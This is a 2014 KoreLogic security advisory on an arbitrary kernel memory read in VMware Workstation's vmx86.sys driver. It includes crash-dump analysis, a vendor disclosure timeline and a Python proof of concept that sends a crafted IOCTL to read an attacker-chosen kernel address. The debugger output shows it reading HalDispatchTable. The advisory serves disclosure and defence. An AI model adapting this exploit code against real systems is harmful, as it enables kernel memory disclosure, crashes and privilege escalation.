Title: VMWare vmx86.sys Arbitrary Kernel Read
Advisory ID: KL-001-2014-004
Publication Date: 2014.11.04
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2014-004.txt
1. Vulnerability Details
Affected Vendor: VMWare
Affected Product: Workstation
Affected Version: 10.0.0.40273
Platform: Microsoft Windows XP SP3 x86, Microsoft Windows Server 2003 SP2 x86, Microsoft Windows 7 SP1 x86
CWE Classification: CWE-20: Improper Input Validation
Impact: Arbitrary Read, Denial-of-Service
Attack vector: IOCTL
2. Vulnerability Description
A vulnerability within the vmx86 driver allows an attacker
to specify a memory address within the kernel and have the
memory stored at that address be returned to the attacker.
3. Technical Description
The first four bytes of the InputBuffer parameter passed
to DeviceIoControl is used as the source parameter in a memcpy
call. The InputBuffer must be a minimum of eight bytes long in
order to trigger the vulnerability. The OutputBuffer parameter
passed to DeviceIoControl is used as the destination address
for the output from the DeviceIoControl call. In this case,
the data returned is the same data residing at the source
paramter of memcpy. This can therefore be abused in a way
that allows an attacker to arbitrarily define a kernel address,
and have the memory stored at that address be returned to the
attacker at an address residing in userland.
Probably caused by : vmx86.sys ( vmx86+bd6 )
Followup: MachineOwner
---------
kd> .symfix;.reload;!analyze -v
Loading Kernel Symbols
...............................................................
................................................................
...................................................
Loading User Symbols
.........................
Loading unloaded module list
.....
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: ffff0000, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 82c727f3, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
READ_ADDRESS: ffff0000
FAULTING_IP:
nt!memcpy+33
82c727f3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
MM_INTERNAL_CODE: 0
DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT
BUGCHECK_STR: 0x50
PROCESS_NAME: python.exe
CURRENT_IRQL: 0
ANALYSIS_VERSION: 6.3.9600.16384 (debuggers(dbg).130821-1623) x86fre
TRAP_FRAME: 822e47dc -- (.trap 0xffffffff822e47dc)
ErrCode = 00000000
eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000
eip=82c727f3 esp=822e4850 ebp=822e4858 iopl=0 nv up ei pl nz ac po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010212
nt!memcpy+0x33:
82c727f3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope
LAST_CONTROL_TRANSFER: from 82c7a3d8 to 82cc741b
STACK_TEXT:
822e47c4 82c7a3d8 00000000 ffff0000 00000000 nt!MmAccessFault+0x106
822e47c4 82c727f3 00000000 ffff0000 00000000 nt!KiTrap0E+0xdc
822e4858 93572bd6 856a9000 ffff0000 00002000 nt!memcpy+0x33
822e48cc 9357329a 856a9000 00000008 856a9000 vmx86+0xbd6
822e48f8 82c70593 86f0d030 87433540 87433540 vmx86+0x129a
822e4910 82e6499f 871f8b08 87433540 874335b0 nt!IofCallDriver+0x63
822e4930 82e67b71 86f0d030 871f8b08 00000000 nt!IopSynchronousServiceTail+0x1f8
822e49cc 82eae3f4 86f0d030 87433540 00000000 nt!IopXxxControlFile+0x6aa
822e4a00 821210fa 0000007c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
822e4b14 82cb7685 00000000 00000000 00000000 nt!KiDeliverApc+0x17f
822e4b58 82cb64f7 00000000 85689a10 80000000 nt!KiSwapThread+0x24e
822e4b80 82cb61d5 85689a10 85689ad0 0000008a nt!KiCommitThreadWait+0x1df
822e4bd8 82e639fd 01b1fd01 00000001 822e4bc8 nt!KeDelayExecutionThread+0x2aa
822e4c24 82c771ea 00000001 01b1ff54 01b1ff78 nt!NtDelayExecution+0x8d
822e4c24 777c70b4 00000001 01b1ff54 01b1ff78 nt!KiFastCallEntry+0x12a
01b1ff0c 777c57d4 75a31876 00000001 01b1ff54 ntdll!KiFastSystemCallRet
01b1ff10 75a31876 00000001 01b1ff54 da57de5e ntdll!NtDelayExecution+0xc
01b1ff78 00401ed6 ffffffff 00000001 01b1ff94 KERNELBASE!SleepEx+0x65
01b1ff94 777e37f5 00000000 762fe46a 00000000 kernel32!BaseThreadInitThunk+0xe
01b1ffd4 777e37c8 00401ec0 00000000 00000000 ntdll!__RtlUserThreadStart+0x70
01b1ffec 00000000 00401ec0 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: kb
FOLLOWUP_IP:
vmx86+bd6
93572bd6 83c40c add esp,0Ch
SYMBOL_STACK_INDEX: 3
SYMBOL_NAME: vmx86+bd6
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: vmx86
IMAGE_NAME: vmx86.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 539a4f4e
FAILURE_BUCKET_ID: 0x50_vmx86+bd6
BUCKET_ID: 0x50_vmx86+bd6
ANALYSIS_SOURCE: KM
FAILURE_ID_HASH_STRING: km:0x50_vmx86+bd6
FAILURE_ID_HASH: {fc58ae86-f23c-59c4-2a6e-428433bd6080}
Followup: MachineOwner
---------
kd> .frame /c 04; .cxr; .frame /c 03; .cxr; .frame /c 02
04 822e48f8 82c70593 vmx86+0x129a
eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000
eip=9357329a esp=822e48d4 ebp=822e48f8 iopl=0 nv up ei pl nz ac po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010212
vmx86+0x129a:
9357329a eb63 jmp vmx86+0x12ff (935732ff)
Resetting default scope
03 822e48cc 9357329a vmx86+0xbd6
eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000
eip=93572bd6 esp=822e4860 ebp=822e48cc iopl=0 nv up ei pl nz ac po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010212
vmx86+0xbd6:
93572bd6 83c40c add esp,0Ch
Resetting default scope
02 822e4858 93572bd6 nt!memcpy+0x33
eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000
eip=82c727f3 esp=822e4850 ebp=822e4858 iopl=0 nv up ei pl nz ac po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010212
nt!memcpy+0x33:
82c727f3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
By using the provided proof-of-concept code, an attacker
can read data from arbitrary kernel memory addresses. As an
example, the value of the first entry in HalDispatchTable is
read. Below is the debugger output, followed by the stdout
from the proof-of-concept code.
0:000> g
ModLoad: 76170000 7618f000 C:\Windows\system32\IMM32.DLL
ModLoad: 77600000 776cc000 C:\Windows\system32\MSCTF.dll
ModLoad: 1d1a0000 1d1b8000 C:\Python27\DLLs\_ctypes.pyd
ModLoad: 77440000 7759c000 C:\Windows\system32\ole32.dll
ModLoad: 75c60000 75cef000 C:\Windows\system32\OLEAUT32.dll
ModLoad: 77950000 77955000 C:\Windows\system32\Psapi.DLL
ModLoad: 01980000 01d92000 C:\Windows\system32\ntkrnlpa.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll -
eax=00000000 ebx=00000000 ecx=0021fe68 edx=00000020 esi=778e7380 edi=778e7340
eip=778570b4 esp=0021feb8 ebp=0021fed4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCallRet:
778570b4 c3 ret
0:000> db 0x25 L?0x4
00000025 a2 68 04 83
[+] Handle \\.\vmx86 @ 120
[+] HalDispatchTable+0x4(0x82d383fc) == 830468a2
4. Mitigation and Remediation Recommendation
A patch is not likely to be forthcoming from the vendor. It
is recommended not to allow users access to the __vmware__
group unless they are trusted with LocalSystem privileges.
5. Credit
This vulnerability was discovered by Matt Bergin of KoreLogic
Security, Inc.
6. Disclosure Timeline
2014.08.08 - Initial contact; sent VMWare report and PoC.
2014.08.08 - VMWare acknowledges receipt of vulnerability
report.
2014.08.15 - VMWare asks for clarification on the PoC.
2014.08.18 - KoreLogic responds to VMWare's request.
2014.08.18 - VMWare counters that it is the expected behavior
for members of the __vmware__ group to be able to
read arbitrary memory. Asks KoreLogic to describe
the "actionable security item here."
2014.08.20 - KoreLogic advises VMWare that providing non-admin
user accounts with the unmitigated ability to dump
the contents of the kernel memory is a security
risk.
2014.08.20 - VMWare suggests modifying the documentation
describing the capabilities of the __vmware__
group as a solution.
2014.08.21 - KoreLogic provides VMWare with a mitigation
strategy and describes how to patch the
vulnerability. KoreLogic requests that a CVE be
issued.
2014.08.25 - VMware states they will continue to review the
vulnerability details.
2014.09.24 - KoreLogic informs VMWare that 30 business days
have passed since vendor acknowledgement of the
initial report. KoreLogic requests CVE number for
the vulnerability, if there is one. KoreLogic also
requests vendor's public identifier for the
vulnerability along with the expected disclosure
date.
2014.09.26 - VMWare responds that they will contact KoreLogic
"next week."
2014.10.08 - KoreLogic reaches out to VMWare as more than 1 week
has elapsed since the last response.
2014.10.13 - VMWare responds that they have decided the reported
vulnerability is not a security issue. VMWare
creates a Knowledge Base article comparing the
__vmware__ group to a Microsoft Windows Power User
account.
2014.10.14 - 45 business days have elapsed since the
vulnerability was reported to VMWare.
2014.10.14 - KoreLogic requests a CVE for this vulnerability
report.
2014.10.22 - MITRE asks KoreLogic to clarify the vendor's
response to the KoreLogic report.
2014.10.22 - KoreLogic responds with a summary of VMWare's
responses to the KoreLogic report.
2014.10.22 - MITRE responds that there will be no CVE issued for
this report, as the vendor is "entitled to define a
security policy in which this read access is
considered an acceptable risk."
2014.11.04 - Public disclosure.
7. Proof of Concept
The code presented below will trigger the issue by forcing
memory to be read from a blatantly invalid address of
0xffff0000.
#!/usr/bin/python2
#
# KL-001-2014-004 : VMWare vmx86.sys Arbitrary Kernel Read
# Matt Bergin (KoreLogic / Smash the Stack)
from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
from binascii import hexlify
from re import findall
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0
handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
if (handle == -1):
print "[!] Could not open handle, is user part of the __vmware__ group?"
exit(1)
print "[+] Handle \\\\.\\vmx86 @ %s" % (handle)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x100)),0x1000|0x2000,0x40)
buf = pack('<L',0xcccccccc)*100
WriteProcessMemory(-1,0x100,buf,len(buf),byref(c_int(0)))
inputBuffer = pack('<L',0xffff0000) + pack('<L',0x41414141)
DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x75,0xff)
if (GetLastError() != 0):
print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError()))
exit(1)
CloseHandle(handle)
The contents of this advisory are copyright(c) 2014
KoreLogic, Inc. and are licensed under a Creative Commons
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